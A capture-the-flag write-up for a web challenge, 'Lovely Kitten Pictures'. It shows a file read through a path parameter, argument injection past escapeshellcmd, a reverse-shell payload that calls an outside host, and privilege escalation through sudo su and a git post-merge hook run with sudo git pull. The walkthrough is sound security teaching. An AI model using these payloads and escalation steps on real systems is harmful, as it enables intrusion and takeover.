Lovely Kitten Pictures - Intended Solution
Published: 2022-03-13 10:11:26

When we see the page for the first time, there's a picture of a cat, and also a button that switches between different cat pictures:

![initial page](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/egd0kzg47xjwiike2w06.png)
 
## :cat2: Flag 1

If we try to open one of the pictures in a new tab, it's possible to see that the picture is actually being loaded by a PHP endpoint, and that the request has a `path` parameter, like this:

`http://challenge.com/pictures.php?path=assets/4.jpg`

Just by seeing a file being loaded like this, the first thing we may try is to replace `assets/4.jpg` for something like `../../../etc/passwd`, but when we try that, the endpoint returns the message `Not yet!`.

Trying similar path traversal payloads also seems to not work, but when we try to load a file that's inside of the project, like `index.php`, this file is downloaded and we get the first flag as part of the filename.

## :cat2: Flag 2

This `index.php` file doesn't actually have anything we couldn't see with the browser developer tools, but when we look at the `<script>` tag at the bottom of the page, we can see that `fetch()` being called in order to make an HTTP request to another php file called `cat_info.php`, and we can download it just like we did with the previous file!

When we read the file, it's possible to see something interesting:

```php
$kittenID = $_GET['id'];
$cmd = escapeshellcmd("/var/www/html/cat_info/main -c $kittenID");
$output = shell_exec($cmd);
```

So it picks up the request parameter `id` and use it as an argument while calling a shell command with `escapeshellcmd`. According to the [PHP documentation](https://www.php.net/manual/en/function.escapeshellcmd.php), this function:

`(...) escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.`

So we cannot just add commands after the cat's ID, because they will be sanitized. But the same page in PHP docs also has this warning regarding `escapeshellcmd`:

`(...) it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.`

We can see from the code above that `escapeshellarg` is not being used at all, and this means that we can add extra arguments to this command which is being called. If we simply try to add a `-h` flag after the kitten id, resulting in a request like `/cat_info.php?id=4 -h`, this banner will be displayed:

![Program banner](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pl5ggb0ed9a31yca175f.png)

It says that the flag `-e` can be used along with a URL in order to execute health checks, and a .sh file is being passed in the examples of usage, which is interesting. It also says that only localhost URLs will be allowed, but its filter can be bypassed with a `@` character, and a payload like the one below will give us a reverse shell:

`/cat_info.php?id=4 -e http://localhost@reverse-shell.sh/YOUR_IP:PORT`

When in the server, as the user `www-data`, apparently Python is not installed, but the `script` command may be used in order to get a more interactive shell:

`script -qc /bin/bash /dev/null`

Now if we go to the `/` directory, it is possible to see the second flag in the file `flag2.txt`.

## :cat2: Flag 3

Now heading to the `/home` directory, it is possible to see the home directories of two other different users, `level1` and `admin`. So we might guess that the final goal is to get access to this admin user.

When we try to access one of these home directories, such as level1, an error message says:

`bash: cd: level1: Permission denied`

But when we execute `sudo -l`, it returns that we have permission to execute `su level1` and impersonate level1 without knowing its password, so we just execute:

`sudo su level1`

And now we can go to `/home/level1` and get the third flag, which is in `flag3.txt`.

## :cat2: Flag 4

Now that we are `level1` and not `www-data`, when we execute `sudo -l` again, it will show the following content:

![right to execute git pull as the admin user](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jaw8qdn8f2dl5bck6q0j.png)

This means that we can use `git pull` as the admin, using the sudo command like `sudo -u admin git pull`, and that's when writing a git hook might help us!

In order to do so, just go to the `/tmp` directory and clone any public git repository, such as [public-apis/public-apis](https://github.com/public-apis/public-apis), using `git clone`. After that, access the new repository directory and make it go "back in time" by one commit, using the following command:

`git reset --hard HEAD^1`
 
The idea is to execute `git pull` for updating the repository again, while we get an admin shell. So we can create a `post-merge` file in the `.git/hooks` directory using nano (apparently vi is not installed, because nano is better :astonished:), and also add to it the following script:


> &#35;!/bin/bash
>
> exec /bin/bash 0<&2 1>&2

This should, at least in theory, spawn an admin shell after git pull does what it needs to do. But when we try to execute `sudo -u admin git pull` in the repository root directory, the following error message appears:

![permission denied](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dgjz18lrxxz1fvfz0z7t.png)

If we look at the permissions inside of the directory with something like `ls -la`, we are going to see that other users don't have write permissions inside of the repository, just `level1` itself. In this case, a command like `chmod -R 757 /tmp/your_repository` does the trick.

Now trying to execute git pull as the admin again, boom! In the end of the process, we are going to have an admin session, and we can go to `/home/admin` and get the final flag :D

![admin session](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/afgaobs0p4os93qiv4xs.png)